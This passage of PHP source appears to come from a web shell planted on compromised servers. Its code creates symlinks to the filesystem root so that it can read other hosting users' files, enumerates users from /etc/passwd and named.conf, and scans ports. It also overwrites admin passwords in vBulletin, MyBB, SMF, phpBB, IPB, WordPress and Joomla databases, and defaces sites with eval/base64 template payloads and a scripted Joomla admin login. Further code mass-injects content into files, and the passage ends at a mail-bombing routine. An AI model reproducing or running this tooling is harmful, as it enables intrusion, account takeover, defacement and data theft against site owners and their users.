1463 else $file="";
1464
1465 if(empty($file))
1466 exit;
1467
1468 if(!is_writable("."))
1469 echo "not writable directory";
1470
1471 $level=0;
1472
1473 for($as=0;$as<$fakedep;$as++)
1474 {
1475 if(!file_exists($fakedir))
1476 mkdir($fakedir);
1477 chdir($fakedir);
1478 }
1479
1480 while(1<$as--) chdir("..");
1481
1482 $hardstyle = explode("/", $file);
1483
1484 for($a=0;$a<count($hardstyle);$a++)
1485 {
1486 if(!empty($hardstyle[$a]))
1487 {
1488 if(!file_exists($hardstyle[$a]))
1489 mkdir($hardstyle[$a]);
1490 chdir($hardstyle[$a]);
1491 $as++;
1492 }
1493 }
1494 $as++;
1495 while($as--)
1496 chdir("..");
1497
1498 @rmdir("fakesymlink");
1499 @unlink("fakesymlink");
1500
1501 @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
1502
1503 while(1)
1504 if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
1505 else $num++;
1506
1507 @unlink("fakesymlink");
1508 mkdir("fakesymlink");
1509
1510 echo '<CENTER>check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</CENTER>';
1511 }
1512 else
1513 echo '<CENTER>Cannot Create Symlink</CENTER>';
1514}
1515else if(isset($_REQUEST['404new']))
1516{
1517 ?>
1518 <form>
1519 <center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>
1520 <input type="button" onClick="my404page(message.value)" value=" Save " class=but></center>
1521 </br>
1522 </form>
1523 <?php
1524}
1525else if(isset($_REQUEST['404page']))
1526{
1527 $url = $_SERVER['REQUEST_URI'];
1528 $path=explode('/',$url);
1529 $url =str_replace($path[count($path)-1],'',$url);
1530 if(isset($_POST['message']))
1531 {
1532 if($myfile = fopen(".htaccess", "a"))
1533 {
1534 fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
1535 if($myfilee = fopen("404.html", "w+"))
1536 {
1537 fwrite($myfilee, $_POST['message']);
1538 }
1539 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
1540 }
1541 else
1542 echo "<center>Cannot Set 404 Page</center>";
1543 }
1544 else if(strlen($ind) != 0)
1545 {
1546 if($myfile = fopen(".htaccess", "a"))
1547 {
1548 fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
1549
1550 if($myfilee = fopen("404.html", "w+"))
1551 {
1552 fwrite($myfilee, base64_decode($ind));
1553
1554 fclose($myfilee);
1555 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
1556 }
1557 fclose($myfile);
1558 }
1559 else
1560 {
1561 echo "<center>Cannot Set 404 Page</center>";
1562 }
1563 }
1564 else
1565 echo "<center>Nothing Specified in the shell</center>";
1566}
1567else if(isset($_GET["domains"]))
1568{
1569 ?><center><iframe src="<?php echo 'http://sameip.org/ip/' . getenv('SERVER_ADDR'); ?>" width="80%" height="1000px"></iframe></center><?php
1570}
1571else if(isset($_GET["symlink"]))
1572{
1573 $d0mains = @file("/etc/named.conf");
1574 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1575 $path=explode('/',$url);
1576 $url =str_replace($path[count($path)-1],'',$url);
1577 if($d0mains)
1578 {
1579 @mkdir("D4RK",0777);
1580 @chdir("D4RK");
1581 execmd("ln -s / root");
1582 $file3 = 'Options all
1583 DirectoryIndex Sux.html
1584 AddType text/plain .php
1585 AddHandler server-parsed .php
1586 AddType text/plain .html
1587 AddHandler txt .html
1588 Require None
1589 Satisfy Any
1590 ';
1591 $fp3 = fopen('.htaccess','w');
1592 $fw3 = fwrite($fp3,$file3);
1593 @fclose($fp3);
1594 echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr align =center><td align=center><font size=3 >S. No.</font></td><td align=center><font size=3 >Domains</font></td><td align=center><font size=3 >Users</font></td><td align=center><font size=3 >Symlink</font></td><td align=center><font size=3 >Information</font></td></tr>";
1595
1596 $dcount = 1;
1597 foreach($d0mains as $d0main)
1598 {
1599 if(eregi("zone",$d0main))
1600 {
1601 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1602 flush();
1603
1604 if(strlen(trim($domains[1][0])) > 2)
1605 {
1606 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1607
1608 echo "<tr align=center><td><font class=txt>" . $dcount . "</font></td><td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td><td><font class=txt>".$user['name']."</font></td><td><a href=".$url."D4RK/root/home/".$user['name']."/public_html target='_blank'><font class=txt>Symlink</font></a></td><td><font class=txt><a href=?info=".$domains[1][0]." target=_blank>info</a></font></td></tr>"; flush();
1609 $dcount++;
1610 }
1611 }
1612
1613 }
1614 echo "</table>";
1615 }
1616 else
1617 {
1618 if(stristr(php_uname(),"Linux"))
1619 {
1620 ?>
1621 <div style="float:left;position:fixed;">
1622 <form>
1623 <table cellpadding="9">
1624 <tr>
1625 <th colspan="2">Get User Name</th>
1626 </tr>
1627 <tr>
1628 <td>Enter Website Name :</td>
1629 <td><input type="text" name="sitename" value="sitename.com" class="sbox"></td>
1630 </tr>
1631 <tr>
1632 <td align="center" colspan="2"><input type="button" onClick="getname(sitename.value)" value=" Get IT " class="but"></td>
1633 </tr>
1634 <tr>
1635 <td colspan=2 align=center><div style="width:250px;" id="showsite"></div></td>
1636 </tr>
1637 </table>
1638 </form>
1639 </div>
1640 <?php
1641 $TEST=@file('/etc/passwd');
1642 if ($TEST)
1643 {
1644 @mkdir("D4RK",0777);
1645 @chdir("D4RK");
1646 execmd("ln -s / root");
1647 $file3 = 'Options all
1648 DirectoryIndex Sux.html
1649 AddType text/plain .php
1650 AddHandler server-parsed .php
1651 AddType text/plain .html
1652 AddHandler txt .html
1653 Require None
1654 Satisfy Any
1655 ';
1656 $fp3 = fopen('.htaccess','w');
1657 $fw3 = fwrite($fp3,$file3);
1658 @fclose($fp3);
1659
1660 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
1661
1662 $dcount = 1;
1663 $file = fopen("/etc/passwd", "r");
1664 //Output a line of the file until the end is reached
1665 while(!feof($file))
1666 {
1667 $s = fgets($file);
1668 $matches = array();
1669 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1670 $matches = str_replace("home/","",$matches[1]);
1671 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1672 continue;
1673 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
1674 echo "<td align=center><font size=3 class=txt><a href=".$url."D4RK/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1675 $dcount++;
1676 }
1677 fclose($file);
1678
1679 echo "</table>";
1680 }
1681 else
1682 {
1683 @mkdir("D4RK",0777);
1684 @chdir("D4RK");
1685 execmd("ln -s / root");
1686 $file3 = 'Options all
1687 DirectoryIndex Sux.html
1688 AddType text/plain .php
1689 AddHandler server-parsed .php
1690 AddType text/plain .html
1691 AddHandler txt .html
1692 Require None
1693 Satisfy Any
1694 ';
1695 $fp3 = fopen('.htaccess','w');
1696 $fw3 = fwrite($fp3,$file3);
1697 @fclose($fp3);
1698
1699 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
1700
1701 $temp = "";
1702 $val1 = 0;
1703 $val2 = 1000;
1704 for(;$val1 <= $val2;$val1++)
1705 {
1706 $uid = @posix_getpwuid($val1);
1707 if ($uid)
1708 $temp .= join(':',$uid)."\n";
1709 }
1710 echo '<br/>';
1711 $temp = trim($temp);
1712
1713 $file5 = fopen("test.txt","w");
1714 fputs($file5,$temp);
1715 fclose($file5);
1716
1717 $dcount = 1;
1718 $file = fopen("test.txt", "r");
1719 while(!feof($file))
1720 {
1721 $s = fgets($file);
1722 $matches = array();
1723 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1724 $matches = str_replace("home/","",$matches[1]);
1725 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1726 continue;
1727 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
1728 echo "<td align=center><font size=3 class=txt><a href=".$url."D4RK/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1729 $dcount++;
1730 }
1731 fclose($file);
1732 echo "</table>";
1733 unlink("test.txt");
1734 }
1735 }
1736 else
1737 echo "<center><font size=4 >Cannot create Symlink</font></center>";
1738 }
1739}
1740else if(isset($_GET['host']) && isset($_GET['protocol']))
1741{
1742 echo "Open Ports: ";
1743 $host = $_GET['host'];
1744 $proto = $_GET['protocol'];
1745 $myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
1746 for($current = 0; $current <= 23; $current++)
1747 {
1748 $currents = $myports[$current];
1749 $service = getservbyport($currents, $proto);
1750 // Try to connect to port
1751 $result = fsockopen($host, $currents, $errno, $errstr, 1);
1752 // Show results
1753 if($result)
1754 echo "<font class=txt>$currents, </font>";
1755 }
1756}
1757else if(isset($_REQUEST['forumpass']))
1758{
1759 $localhost = $_GET['f1'];
1760 $database = $_GET['f2'];
1761 $username = $_GET['f3'];
1762 $password = $_GET['f4'];
1763 $prefix = $_GET['prefix'];
1764 $newpass = $_GET['newpass'];
1765 $uid = $_GET['uid'];
1766
1767 if($_GET['forums'] == "vb")
1768 {
1769 $newpass = $_GET['newipbpass'];
1770 $uid = $_GET['ipbuid'];
1771 $con = mysql_connect($localhost,$username,$password);
1772 $db = mysql_select_db($database,$con);
1773 $salt = "eghjghrtd";
1774 $newpassword = md5(md5($newpass) . $salt);
1775 if($prefix == "" || $prefix == null)
1776 $sql = mysql_query("update user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
1777 else
1778 $sql = mysql_query("update ".$prefix."user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
1779 if($sql)
1780 {
1781 mysql_close($con);
1782 echo "<font class=txt>Password Changed Successfully</font>";
1783 }
1784 else
1785 echo "Cannot Change Password";
1786 }
1787 else if($_GET['forums'] == "mybb")
1788 {
1789 $newpass = $_GET['newipbpass'];
1790 $uid = $_GET['ipbuid'];
1791 $con = mysql_connect($localhost,$username,$password);
1792 $db = mysql_select_db($database,$con);
1793 $salt = "jeghj";
1794 $newpassword = md5(md5($salt).md5($newpass));
1795 if($prefix == "" || $prefix == null)
1796 $sql = mysql_query("update mybb_users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
1797 else
1798 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
1799 if($sql)
1800 {
1801 mysql_close($con);
1802 echo "<font class=txt>Password Changed Successfully</font>";
1803 }
1804 else
1805 echo "Cannot Change Password";
1806 }
1807 else if($_GET['forums'] == "smf")
1808 {
1809 $newpass = $_GET['newipbpass'];
1810 $uid = $_GET['ipbuid'];
1811 $con = mysql_connect($localhost,$username,$password);
1812 $db = mysql_select_db($database,$con);
1813
1814 if($prefix == "" || $prefix == null)
1815 {
1816 $result = mysql_query("select member_name from smf_members where id_member = $uid");
1817 $row = mysql_fetch_array($result);
1818 $membername = $row['member_name'];
1819 $newpassword = sha1(strtolower($membername).$newpass);
1820 $sql = mysql_query("update smf_members set passwd = '$newpassword' where id_member = '$uid'");
1821 }
1822 else
1823
1824 {
1825 $result = mysql_query("select member_name from ".$prefix."members where id_member = $uid");
1826 $row = mysql_fetch_array($result);
1827 $membername = $row['member_name'];
1828 $newpassword = sha1(strtolower($membername).$newpass);
1829 $sql = mysql_query("update ".$prefix."members set passwd = '$newpassword' where id_member = '$uid'");
1830 }
1831 if($sql)
1832 {
1833 mysql_close($con);
1834 echo "<font class=txt>Password Changed Successfully</font>";
1835 }
1836 else
1837 echo "Cannot Change Password";
1838 }
1839 else if($_GET['forums'] == "phpbb")
1840 {
1841 $newpass = $_POST['newipbpass'];
1842 $uid = $_POST['ipbuid'];
1843 $con = mysql_connect($localhost,$username,$password);
1844 $db = mysql_select_db($database,$con);
1845
1846 $newpassword = md5($newpass);
1847 if(empty($prefix) || $prefix == null)
1848 $sql = mysql_query("update phpb_users set user_password = '$newpassword' where user_id = '$uid'");
1849 else
1850 $sql = mysql_query("update ".$prefix."users set user_password = '$newpassword' where user_id = '$uid'");
1851 if($sql)
1852 {
1853 mysql_close($con);
1854 echo "<font class=txt>Password Changed Successfully</font>";
1855 }
1856 else
1857 echo "Cannot Change Password";
1858 }
1859 else if($_GET['forums'] == "ipb")
1860 {
1861 $newpass = $_POST['newipbpass'];
1862 $uid = $_POST['ipbuid'];
1863 $con = mysql_connect($localhost,$username,$password);
1864 $db = mysql_select_db($database,$con);
1865 $salt = "eghj";
1866 $newpassword = md5(md5($salt).md5($newpass));
1867 if($prefix == "" || $prefix == null)
1868 $sql = mysql_query("update members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
1869 else
1870 $sql = mysql_query("update ".$prefix."members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
1871 if($sql)
1872 {
1873 mysql_close($con);
1874 echo "<font class=txt>Password Changed Successfully</font>";
1875 }
1876 else
1877 echo "Cannot Change Password";
1878 }
1879 else if($_GET['forums'] == "wp")
1880 {
1881 $uname = $_GET['uname'];
1882 $con = mysql_connect($localhost,$username,$password);
1883 $db = mysql_select_db($database,$con);
1884
1885 $newpassword = md5($newpass);
1886 if($prefix == "" || $prefix == null)
1887 $sql = mysql_query("update wp_users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
1888 else
1889 $sql = mysql_query("update ".$prefix."users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
1890 if($sql)
1891 {
1892 mysql_close($con);
1893 echo "<font class=txt>Password Changed Successfully</font>";
1894 }
1895 else
1896 echo "Cannot Change Password";
1897 }
1898 else if($_GET['forums'] == "joomla")
1899 {
1900 $newjoomlapass = $_GET['newjoomlapass'];
1901 $joomlauname = $_GET['username'];
1902 $con = mysql_connect($localhost,$username,$password);
1903 $db = mysql_select_db($database,$con);
1904
1905 $newpassword = md5($newjoomlapass);
1906 if($prefix == "" || $prefix == null)
1907 $sql = mysql_query("update jos_users set password = '$newpassword', username = '$joomlauname' where name = 'Super User'");
1908 else
1909 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', username = '$joomlauname' where name = 'Super User' OR name = 'Administrator'");
1910 if($sql)
1911 {
1912 mysql_close($con);
1913 echo "<font class=txt>Password Changed Successfully</font>";
1914 }
1915 else
1916 echo "Cannot Change Password";
1917 }
1918}
1919else if(isset($_POST['forumdeface']))
1920{
1921 $localhost = $_POST['f1'];
1922 $database = $_POST['f2'];
1923 $username = $_POST['f3'];
1924 $password = $_POST['f4'];
1925 $index = $_POST['index'];
1926 $prefix = $_POST['tableprefix'];
1927
1928 if($_POST['forumdeface'] == "vb")
1929 {
1930 $con =@ mysql_connect($localhost,$username,$password);
1931 $db =@ mysql_select_db($database,$con);
1932 $index=str_replace('"','\\"',$index);
1933 $attack = "{\${eval(base64_decode(\'";
1934 $attack .= base64_encode("echo \"$index\";");
1935 $attack .= "\'))}}{\${exit()}}</textarea>";
1936 if($prefix == "" || $prefix == null)
1937 $query = "UPDATE template SET template = '$attack'";
1938 else
1939 $query = "UPDATE ".$prefix."template SET template = '$attack'";
1940 $result =@ mysql_query($query,$con);
1941 if($result)
1942 echo "<center><font class=txt size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
1943 else
1944 echo "<center><font size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
1945 }
1946 else if($_POST['forumdeface'] == "mybb")
1947 {
1948 $con =@ mysql_connect($localhost,$username,$password);
1949 $db =@ mysql_select_db($database,$con);
1950 $attack = "{\${eval(base64_decode(\'";
1951 $attack .= base64_encode("echo \"$index\";");
1952 $attack .= "\'))}}{\${exit()}}</textarea>";
1953 $attack = str_replace('"',"\\'",$attack);
1954
1955 if($prefix == "" || $prefix == null)
1956 $query = "UPDATE mybb_templates SET template = '$attack'";
1957 else
1958 $query = "UPDATE ".$prefix."templates SET template = '$attack'";
1959 $result =@ mysql_query($query,$con);
1960 if($result)
1961 echo "<center><font class=txt size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
1962 else
1963 echo "<center><font size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
1964 }
1965 else if($_POST['forumdeface'] == "smf")
1966 {
1967 $head = $_POST['head'];
1968 $catid = $_POST['f5'];
1969
1970 $con =@ mysql_connect($localhost,$username,$password);
1971 $db =@ mysql_select_db($database,$con);
1972 if($prefix == "" || $prefix == null)
1973 $query = "UPDATE boards SET name='$head', description='$index' WHERE id_cat='$catid'";
1974 else
1975 $query = "UPDATE ".$prefix."boards SET name='$head', description='$index' WHERE id_cat='$catid'";
1976 $result =@ mysql_query($query,$con);
1977 if($result)
1978 echo "<center><font class=txt size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
1979 else
1980 echo "<center><font size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
1981 }
1982 else if($_POST['forumdeface'] == "ipb")
1983 {
1984 $head = $_POST['head'];
1985 $catid = $_POST['f5'];
1986
1987 $IPB = "forums";
1988 $con =@ mysql_connect($localhost,$username,$password);
1989 $db =@ mysql_select_db($database,$con);
1990 if($prefix == "" || $prefix == null)
1991 $result =@mysql_query($query = "UPDATE $IPB SET name = '$head', description = '$index' where id = '$catid'");
1992 else
1993 $result =@mysql_query($query = "UPDATE $prefix.$IPB SET name = '$head', description = '$index' where id = '$catid'");
1994 if($result)
1995 echo "<center><font class=txt size=4><blink>Forum Defaced Successfully</blink></font></center>";
1996 else
1997 echo "<center><font size=4><blink>Cannot Deface Forum</blink></font></center>";
1998 }
1999 else if($_POST['forumdeface'] == "wp")
2000 {
2001 $catid = $_POST['f5'];
2002 $head = $_POST['head'];
2003
2004 $con =@ mysql_connect($localhost,$username,$password);
2005 $db =@ mysql_select_db($database,$con);
2006 if($prefix == "" || $prefix == null)
2007 {
2008 if(isset($_POST["alll"]) && $_POST["alll"] == "All")
2009 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index'";
2010 else
2011 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
2012 }
2013 else
2014 {
2015 if(isset($_POST["alll"]) && $_POST["alll"] == "All")
2016 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index'";
2017 else
2018 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
2019
2020 }
2021 $result =@mysql_query($query,$con) or mysql_error();
2022 if($result)
2023 echo "<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
2024 else
2025 echo "<center><font size=4><blink>Cannot Deface Wordpress</blink></font></center>";
2026 }
2027 else if($_POST['forumdeface'] == "joomla")
2028 {
2029 $site_url = $_POST['siteurl'];
2030 $dbprefix = $_POST['tableprefix'];
2031 $dbname = $_POST['f2'];
2032 $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['index']))))."'))); exit; ?>";
2033
2034 function randomt()
2035 {
2036 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
2037 srand((double)microtime()*1000000);
2038 $i = 0;
2039 $pass = '' ;
2040
2041 while ($i <= 7)
2042 {
2043 $num = rand() % 33;
2044 $tmp = substr($chars, $num, 1);
2045 $pass = $pass . $tmp;
2046 $i++;
2047 }
2048
2049 return $pass;
2050 }
2051 function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
2052 {
2053 $ar0=explode($marqueurDebutLien, $text);
2054 $ar1=explode($marqueurFinLien, $ar0[$i]);
2055 $ar=trim($ar1[0]);
2056 return $ar;
2057 }
2058 $co=randomt();
2059
2060 $link=mysql_connect($localhost,$username,$password) ;
2061 mysql_select_db($dbname,$link);
2062
2063 $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
2064
2065 $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
2066
2067 if ( $req )
2068 {
2069 $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
2070 $data = mysql_fetch_array($req);
2071 $template_name=$data["template"];
2072
2073 $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
2074 $data = mysql_fetch_array($req);
2075 $template_id=$data["extension_id"];
2076
2077 $url2=$site_url."/index.php";
2078
2079 $ch = curl_init();
2080 curl_setopt($ch, CURLOPT_URL, $url2);
2081 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2082 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2083 curl_setopt($ch, CURLOPT_HEADER, 1);
2084 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2085 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2086 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2087
2088
2089 $buffer = curl_exec($ch);
2090
2091 $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
2092 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
2093
2094
2095 $url2=$site_url."/index.php";
2096 $ch = curl_init();
2097 curl_setopt($ch, CURLOPT_URL, $url2);
2098 curl_setopt($ch, CURLOPT_POST, 1);
2099 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
2100 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2101 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2102 curl_setopt($ch, CURLOPT_HEADER, 0);
2103 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2104 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2105 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2106 $buffer = curl_exec($ch);
2107
2108 $pos = strpos($buffer,"com_config");
2109 if($pos === false)
2110 {
2111 echo("<br>[-] Login Error");
2112 exit;
2113 }
2114
2115 $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
2116 $ch = curl_init();
2117 curl_setopt($ch, CURLOPT_URL, $url2);
2118 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2119 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2120 curl_setopt($ch, CURLOPT_HEADER, 0);
2121 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2122 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2123
2124 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2125 $buffer = curl_exec($ch);
2126
2127 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
2128 if(!$hidden2)
2129 {
2130 echo("<br>[-] index.php Not found in Theme Editor");
2131 exit;
2132 }
2133
2134 $url2=$site_url."/index.php?option=com_templates&layout=edit";
2135
2136 $ch = curl_init();
2137 curl_setopt($ch, CURLOPT_URL, $url2);
2138 curl_setopt($ch, CURLOPT_POST, 1);
2139 curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
2140
2141 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2142 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2143 curl_setopt($ch, CURLOPT_HEADER, 0);
2144 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2145 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2146 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2147 $buffer = curl_exec($ch);
2148
2149 $pos = strpos($buffer,'<dd class="message message">');
2150 if($pos === false)
2151 {
2152 echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
2153 }
2154 else
2155 {
2156 echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
2157 }
2158 }
2159 else
2160 {
2161 $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
2162 $data = mysql_fetch_array($req);
2163 $template_name=$data["template"];
2164
2165 $url2=$site_url."/index.php";
2166 $ch = curl_init();
2167 curl_setopt($ch, CURLOPT_URL, $url2);
2168 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2169 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2170 curl_setopt($ch, CURLOPT_HEADER, 1);
2171 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2172 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2173 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2174 $buffer = curl_exec($ch);
2175
2176 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
2177
2178 $url2=$site_url."/index.php";
2179 $ch = curl_init();
2180 curl_setopt($ch, CURLOPT_URL, $url2);
2181 curl_setopt($ch, CURLOPT_POST, 1);
2182 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
2183 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2184 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2185 curl_setopt($ch, CURLOPT_HEADER, 0);
2186 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2187 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2188 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2189 $buffer = curl_exec($ch);
2190
2191 $pos = strpos($buffer,"com_config");
2192
2193 if($pos === false)
2194 {
2195 echo("<br>[-] Login Error");
2196 exit;
2197 }
2198
2199 $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
2200 $ch = curl_init();
2201 curl_setopt($ch, CURLOPT_URL, $url2);
2202 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2203 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2204 curl_setopt($ch, CURLOPT_HEADER, 0);
2205 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2206 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2207 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2208 $buffer = curl_exec($ch);
2209
2210 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
2211
2212 if(!$hidden2)
2213 {
2214 echo("<br>[-] index.php Not found in Theme Editor");
2215 }
2216
2217 $url2=$site_url."/index.php?option=com_templates&layout=edit";
2218 $ch = curl_init();
2219 curl_setopt($ch, CURLOPT_URL, $url2);
2220 curl_setopt($ch, CURLOPT_POST, 1);
2221 curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
2222 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2223 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2224 curl_setopt($ch, CURLOPT_HEADER, 0);
2225 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2226 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2227 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2228 $buffer = curl_exec($ch);
2229
2230 $pos = strpos($buffer,'<dd class="message message fade">');
2231 if($pos === false)
2232 {
2233 echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
2234 exit;
2235 }
2236 else
2237 {
2238 echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
2239 }
2240 }
2241 }
2242}
2243else if(isset($_POST['pathtomass']) && $_POST['pathtomass'] != '' && isset($_POST['filetype']) && $_POST['filetype'] != '' && isset($_POST['mode']) && $_POST['mode'] != '' && isset($_POST['injectthis']) && $_POST['injectthis'] != '')
2244{
2245 $filetype = $_POST['filetype'];
2246
2247 $mode = "a";
2248
2249 if($_POST['mode'] == 'Apender')
2250 $mode = "a";
2251
2252 if($_POST['mode'] == 'Overwriter')
2253 $mode = "w";
2254
2255 if (is_dir($_POST['pathtomass']))
2256 {
2257 $lolinject = $_POST['injectthis'];
2258 $mypath = $_POST['pathtomass'] .$directorysperator. "*.".$filetype;
2259 if(substr($_POST['pathtomass'], -1) == "\\")
2260 $mypath = $_POST['pathtomass'] . "*.".$filetype;
2261 foreach (glob($mypath) as $injectj00)
2262 {
2263 if($injectj00 == __FILE__)
2264 continue;
2265 $fp=fopen($injectj00,$mode);
2266 if (fputs($fp,$lolinject))
2267 echo '<br><font class=txt size=3>'.$injectj00.' was injected<br></font>';
2268 else
2269 echo 'failed to inject '.$injectj00.'<br>';
2270 }
2271 }
2272 else
2273 echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
2274}
2275else if(isset($_POST['mailfunction']))
2276{
2277 if($_POST['mailfunction'] == "dobombing")
